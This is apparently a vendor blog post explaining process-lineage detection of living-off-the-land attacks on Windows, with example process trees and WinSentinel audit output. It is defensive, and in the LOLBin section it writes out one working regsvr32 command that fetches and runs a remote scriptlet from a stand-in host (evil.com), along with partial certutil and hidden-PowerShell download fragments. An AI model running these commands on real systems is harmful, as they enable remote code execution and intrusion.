Process Lineage Analysis: Catching LOLBin Abuse and Living-off-the-Land Attacks

Your attacker didn't drop custom malware. They used PowerShell, certutil, and mshta — tools that were already on the machine. Here's how parent-child process analysis exposes living-off-the-land techniques that traditional antivirus completely misses.

The most dangerous attacks don't involve malware at all. They use the tools Windows ships with — PowerShell, certutil, mshta, rundll32, regsvr32 — to achieve their objectives. The technique is called "Living off the Land" (LOL), and the binaries used are called LOLBins (Living off the Land Binaries). MITRE ATT&CK catalogs dozens of these, and they share one critical property: antivirus won't flag them because they're legitimate, signed Microsoft executables.

So how do you catch an attacker using your own tools against you? You don't look at what is running — you look at who started it. That's process lineage analysis: examining the parent-child relationships between running processes to identify chains that should never exist.

Why Parent-Child Relationships Matter

Every process on Windows has a parent — the process that created it. When you double-click Notepad from Explorer, the chain is explorer.exe → notepad.exe. That's normal. When you open PowerShell from the Start menu, it's explorer.exe → powershell.exe. Also normal.

But when Microsoft Word spawns PowerShell? That's winword.exe → powershell.exe — a classic indicator of macro-based malware. When a browser spawns cmd.exe? That's chrome.exe → cmd.exe — possibly a drive-by compromise. When WMI spawns a command interpreter? That's lateral movement.

The individual processes are all legitimate. PowerShell is legitimate. Word is legitimate. The relationship is what's suspicious. This is the fundamental insight behind process lineage analysis: context reveals intent.

The 12 Suspicious Lineage Patterns

WinSentinel's Process Lineage Audit checks every running process against 12 empirically-derived rules, each mapped to a specific MITRE ATT&CK technique. Here are the most critical:

Critical: Office → Script Engine

If Word, Excel, PowerPoint, or Outlook spawns cmd.exe, powershell.exe, wscript.exe, cscript.exe, or mshta.exe, you almost certainly have a malicious macro executing. This maps to T1204.002 (User Execution: Malicious File) and is the #1 initial access vector for phishing attacks.

# What this looks like in process tree:
winword.exe (PID 5832)
  └─ cmd.exe (PID 9014)
       └─ powershell.exe (PID 9128)
            └─ certutil.exe (PID 9256)  ← downloading payload

# This is a textbook phishing chain:
# 1. User opens malicious .docm attachment
# 2. Macro launches cmd.exe
# 3. cmd spawns powershell to download staged payload
# 4. certutil decodes/downloads the real malware

Critical: Browser → Script Engine

Chrome, Edge, Firefox, or Brave spawning cmd.exe or powershell.exe indicates T1189 (Drive-by Compromise). The user visited a malicious page that exploited a browser vulnerability to gain code execution. Unlike Office macros, the user didn't even need to open a file — they just visited a URL.

Critical: Script Engine → Network Utility

When powershell.exe or wscript.exe spawns certutil, bitsadmin, or curl, the attacker is retrieving a second-stage payload. This is T1105 (Ingress Tool Transfer) — the moment the attacker transitions from "I have execution" to "I'm bringing in real tools." This is your last chance to catch them before they establish persistence.

Critical: WMI → Execution Engine

wmiprvse.exe spawning cmd.exe, powershell.exe, or rundll32.exe is T1047 (Windows Management Instrumentation) — one of the most reliable indicators of lateral movement. An attacker on Machine A uses WMI to execute commands on Machine B without ever establishing an interactive session. The WMI provider host (wmiprvse.exe) is the process that handles the execution request.

# Lateral movement via WMI:
wmiprvse.exe (PID 1024)   ← WMI provider host
  └─ powershell.exe (PID 4492)
       └─ net.exe (PID 4510)  ← attacker enumerating network

Warning: LOLBin Proxy Execution

Several Windows binaries can be abused to execute arbitrary code while appearing legitimate in logs:

mshta.exe — T1218.005 — Executes arbitrary HTA content including VBScript/JScript. Commonly used to bypass AppLocker rules that allow Microsoft-signed binaries.
rundll32.exe — T1218.011 — Loads and executes arbitrary DLLs. Spawned from script engines or WMI, this indicates the attacker is executing malicious code through a signed proxy.
regsvr32.exe — T1218.010 — Registers COM objects but can also execute remote scriptlets. regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll downloads and executes code without touching disk.
certutil.exe — T1140 — Windows certificate utility that can also download files (-urlcache) and decode base64 payloads (-decode). The Swiss Army knife of LOLBins.

When these binaries appear with suspicious parents (cmd, powershell, wscript, or WMI), WinSentinel flags them. The binary itself isn't malicious — the context of who spawned it is.

Beyond Lineage: Orphaned Processes and Deep Nesting

Process lineage analysis doesn't stop at parent-child rules. WinSentinel checks two additional indicators:

Orphaned Processes

An orphaned process is one whose parent process no longer exists. While some orphaning is normal (the parent finishes its work and exits), a high count of orphaned processes can indicate:

Process injection — malware injecting code into a legitimate process, then the injector exits. The injected process runs orphaned.
Parent PID spoofing — a technique where malware creates a process with a fake parent PID to hide its true origin. When the "fake" parent doesn't exist, the child appears orphaned.
Anti-forensics — the attacker terminates the initial exploitation chain (browser, Office, etc.) to erase the lineage evidence, leaving their persistent processes orphaned.

# WinSentinel orphan detection:
[WARNING] Orphaned Processes Detected (14)
  Found 14 processes whose parent process no longer exists.
  Sample: suspicious-svc (PID 8812), helper64 (PID 9102), ...
  Review orphaned processes running from unusual locations.

Deep Interpreter Nesting

Legitimate automation rarely nests more than 2 levels of command interpreters. When you see 3 or more levels of cmd/powershell/wscript chained together, it's usually an obfuscation technique:

# Suspicious deep nesting:
cmd.exe
  └─ powershell.exe -enc [base64]
       └─ cmd.exe /c "..."
            └─ powershell.exe -nop -w hidden -c ...
                 └─ certutil.exe -urlcache -f ...

# Each layer decodes or deobfuscates the next command.
# The attacker is intentionally making analysis difficult.

WinSentinel's depth analysis walks the full process tree and flags any chain with 3+ levels of nested interpreters. Each level of indirection is another barrier for incident responders — and a signal of adversary sophistication.

Safe Exclusions: Reducing False Positives

Not every suspicious-looking chain is an attack. WinSentinel maintains a set of known-safe parent-child combinations to minimize noise:

svchost → taskhostw — Normal Windows task scheduling
services → svchost — Standard service control manager behavior
explorer → cmd — User right-clicking "Open command window here" is extremely common and benign

These exclusions are carefully curated. A rule is only added after confirming that the combination is consistently benign across enterprise deployments. False positive reduction is critical — if an alert fires on every machine, defenders learn to ignore it.

Real-World Attack Chains WinSentinel Catches

Scenario 1: Emotet-Style Phishing

outlook.exe → winword.exe → cmd.exe → powershell.exe

Triggered rules:
  [CRITICAL] Office Application Spawning Script Engine [T1204.002]
  [WARNING] Command Prompt Spawning PowerShell [T1059.001]

The user opened an email attachment in Outlook, which launched Word
with a .docm file containing a malicious macro. The macro spawned
cmd.exe, which launched PowerShell to download the Emotet dropper.

Scenario 2: Lateral Movement via WMI

wmiprvse.exe → cmd.exe → whoami.exe
                        → net.exe (net group "Domain Admins")
                        → powershell.exe (Invoke-WebRequest...)

Triggered rules:
  [CRITICAL] WMI Spawning Execution Engine [T1047]

Attacker on another machine used wmic to execute reconnaissance
commands on this endpoint. WMI provider host spawning cmd and
network enumeration tools is textbook lateral movement.

Scenario 3: Scheduled Task Persistence

svchost.exe (Task Scheduler) → mshta.exe → powershell.exe

Triggered rules:
  [WARNING] Scheduled Task Spawning Script Engine [T1053.005]
  [WARNING] Potential LOLBin Abuse: mshta [T1218.005]

Attacker created a scheduled task that runs mshta.exe with a URL
pointing to a remote HTA file. mshta downloads and executes the
script, which spawns PowerShell for the actual payload. Classic
multi-stage persistence that survives reboots.

Running a Process Lineage Audit

# Install WinSentinel:
dotnet tool install --global WinSentinel.Cli

# Run process lineage analysis:
winsentinel --audit --modules process-lineage

# Example output:
 Process Lineage Audit
 ──────────────────────────────────────────────────────
 [CRITICAL] Critical Process Lineage Violations (2)
   • outlook → powershell (PID 8412): Office Application
     Spawning Script Engine [T1204.002]
   • wmiprvse → cmd (PID 9018): WMI Spawning Execution
     Engine [T1047]

 [WARNING] Suspicious Process Lineage Patterns (3)
   • svchost → mshta (PID 5512): Scheduled Task Spawning
     Script Engine [T1053.005]
   • cmd → rundll32 (PID 6230): Potential LOLBin Abuse:
     rundll32 [T1218.011]
   • powershell → certutil (PID 7128): Potential LOLBin
     Abuse: certutil [T1140]

 [PASS] No Orphaned Processes
 [PASS] No Deep Interpreter Nesting

Each finding includes the full MITRE ATT&CK technique ID, the parent and child process names with PIDs, and remediation guidance including the PowerShell commands needed to terminate the suspicious chain.

Process Lineage vs. Traditional Detection

Here's why process lineage analysis catches what traditional tools miss:

Antivirus — checks file signatures and behavioral patterns of individual processes. When powershell.exe runs, AV sees a signed Microsoft binary. The command might be flagged by AMSI, but the process itself passes inspection. Lineage analysis sees that PowerShell was spawned by Word — something AV doesn't consider.
EDR — most EDR tools do perform lineage analysis, but they require cloud infrastructure, continuous connectivity, and significant tuning. WinSentinel does it locally in a single scan with zero external dependencies.
Sysmon — the gold standard for process creation logging, but it's a data source, not an analyzer. Sysmon logs the events; someone (or something) still needs to analyze the parent-child relationships. WinSentinel does the analysis automatically.
AppLocker/WDAC — blocks unauthorized binaries from running, but LOLBins are authorized Microsoft binaries. You can't block powershell.exe without breaking half your IT automation. Lineage analysis catches the abuse pattern instead of blocking the tool entirely.

From Detection to Prevention

Process lineage analysis is primarily a detection tool — it catches attacks in progress or after the fact. But the findings drive preventive action:

Office macro hardening — If you see Office → Script Engine chains, enforce macro execution policies. Block macros from the internet entirely (Group Policy → Trust Center settings). Most organizations that do this eliminate 80% of their phishing-based initial access risk.
PowerShell Constrained Language Mode — Restricts PowerShell to a subset of functionality that prevents most attack techniques while preserving administrative scripting. Combined with Script Block Logging, this makes PowerShell-based attacks both harder and more visible.
AppLocker with script rules — While you can't block LOLBins outright, you can restrict which directories they're allowed to execute from and which parent processes can launch them.
WMI subscription auditing — If WMI-based lateral movement appears in lineage analysis, enable WMI event subscription auditing and restrict WMI access to authorized management tools.

Fleet-Wide Lineage Monitoring

On a single machine, a process lineage audit gives you a point-in-time snapshot. Across a fleet, it gives you a threat detection capability. With WinSentinel Pro, every agent-equipped machine runs continuous lineage analysis and reports suspicious chains to the central dashboard:

# Fleet-wide process lineage summary (Pro):
winsentinel fleet status --filter process-lineage

Fleet Lineage Analysis (87 nodes reporting)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Critical chains:  3 across 2 nodes
Warning chains:  12 across 8 nodes
Orphaned procs:   2 nodes with high orphan counts
Deep nesting:     0 nodes flagged

Active Threats:
  DESKTOP-8XK2: outlook → cmd → powershell [T1204.002]
    First seen: 2026-06-07 09:14:22 UTC
    Action: Isolate endpoint, initiate IR

  SERVER-DB01: wmiprvse → cmd → whoami [T1047]
    First seen: 2026-06-07 11:02:15 UTC
    Action: Investigate lateral movement source

The fleet view transforms process lineage from "single machine forensics" into "enterprise threat detection." When the same suspicious pattern appears on multiple machines simultaneously, you're looking at an active intrusion — and you know exactly which machines are affected.

Getting Started

Run a process lineage audit right now:

dotnet tool install --global WinSentinel.Cli
winsentinel --audit --modules process-lineage

Every finding includes the MITRE ATT&CK technique ID, full parent-child chain, and actionable remediation steps. The free tier gives you complete process lineage analysis on any Windows machine — no agents, no cloud, no license required.

Your attacker already knows which LOLBins are on your machine. The question is whether you know how they're being used. Process lineage analysis turns Windows' built-in tools from a liability into a detection surface. For fleet-wide continuous monitoring with automated alerting, see WinSentinel Pro.